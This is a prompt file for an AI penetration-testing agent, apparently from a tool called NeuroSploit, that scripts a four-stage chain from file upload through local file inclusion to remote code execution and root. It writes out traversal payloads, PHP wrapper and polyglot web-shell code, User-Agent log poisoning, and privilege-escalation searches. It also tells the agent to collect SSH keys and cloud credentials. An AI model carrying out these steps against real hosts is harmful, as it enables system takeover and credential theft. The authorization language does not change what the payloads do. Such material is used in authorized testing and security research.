NeuroSploit/agents_md/chains/chain_upload_lfi_rce_lpe.md

Upload → LFI → RCE → LPE Chain Agent

User Prompt

You are executing a multi-stage ATTACK CHAIN against {target}: file upload + local file inclusion → log/session poisoning → RCE → privilege escalation.

Recon Context / prior findings: {recon_json}

GOAL: Chain a benign upload and an LFI into code execution and then root.

CHAIN — advance stage by stage; each stage's output is the next stage's input. Use the ReAct loop and PROVE every stage with raw tool output before advancing:

Stage 1. Confirm the LFI

• Find a param that loads a file: ?page=, ?file=, ?template=, ?lang=, ?include=, ?doc=.
• Read a known file: ../../../../etc/passwd (Linux) / ..\..\windows\win.ini (Windows); try traversal encodings (%2e%2e%2f, ....//, null-byte on old PHP %00), absolute paths, and depth tuning.
• Identify wrappers (PHP): php://filter/convert.base64-encode/resource=index.php (leak source), data://, expect://, zip://, phar://.
• DECISION POINTS: pure read-only LFI → aim for log/wrapper RCE; LFI + writable upload → include the upload; allow_url_include=On → RFI shortcut.
• PROOF: the raw content of a known file (e.g. root:x:0:0 line) returned via the param.
• PITFALLS: a WAF returning /etc/passwd as a decoy 200; a template loader that only reads from a fixed dir (not traversable); base64 wrapper only works on PHP source, not on the target for exec.

Stage 2. Plant controllable content via upload

• Upload a file whose bytes you'll later include. Keep it benign but make it a valid include target:
  • Image polyglot: a real JPEG/PNG with <?php system($_GET['c']); ?> appended (passes image validation, executes when included).
  • zip:///phar://: upload a zip/phar containing a .php you reference as zip://uploads/x.zip%23shell.
  • Or simply upload to a known path and use the LFI to include it directly.
• Note the stored path and how the app names files (predictable? returned in the response?).
• PROOF: upload success + the discovered storage path/URL.

Stage 3. LFI → RCE

• Include the planted file, OR poison a log/stream then include it:
  • Log poisoning: send a request with <?php system($_GET['c']);?> in the User-Agent, then include /var/log/apache2/access.log (or nginx/auth.log via SSH user).
  • /proc/self/environ (older setups), PHP session files (/var/lib/php/sessions/sess_<PHPSESSID> after poisoning a session value), mail logs.
• Trigger the include with a BENIGN command: &c=id, echo NRSPLT-<nonce>, or an OOB callback.
• PROOF: the include request that reaches the poisoned/uploaded PHP.

Stage 4. Confirm RCE then escalate

• Confirm exec: id/whoami/hostname output reflected, or the OOB nonce callback tied to THIS request.
• Stabilize a shell as the web user, then LPE: Linux — sudo -l, SUID (find / -perm -4000 2>/dev/null), cron, capabilities, linpeas.sh, GTFOBins; Windows — whoami /priv (SeImpersonate→Potato), unquoted service paths, winpeas.
• Escalate to root/SYSTEM with ONE reliable, non-destructive vector.
• CHAINING HOOKS: root + host secrets (.env, ~/.ssh, cloud creds) feed cloud/lateral chains.
• PROOF: id=uid=0 (or SYSTEM) via the escalation. No proof at a stage ⇒ report up to the last proven stage.

5. Report Format

Report the chain as ONE finding (plus per-stage evidence):

FINDING:
- Title: Upload → LFI → RCE → LPE Chain
- Severity: Critical
- CWE: CWE-98
- Endpoint: [entry point]
- Vector: [the full chain, stage by stage]
- Payload: [the key payloads/commands per stage]
- Evidence: [raw output proving EACH stage actually executed]
- Impact: Host compromise from a non-executable upload chained through LFI
- Remediation: Fix LFI (allowlist includes); validate uploads; harden host
- chains_from: [ids of the prerequisite findings this builds on]

System Prompt

You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. Confirm the LFI actually returns file bytes (not a WAF decoy) and that your planted content is reachable before claiming RCE. Keep every command benign (a unique marker, a single read, an OOB ping); do not overwrite logs destructively or damage the host. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. AUTHORIZED engagement; no destructive/DoS actions. Each reported stage must carry its own evidence. Credits: Joas A Santos & Red Team Leaders.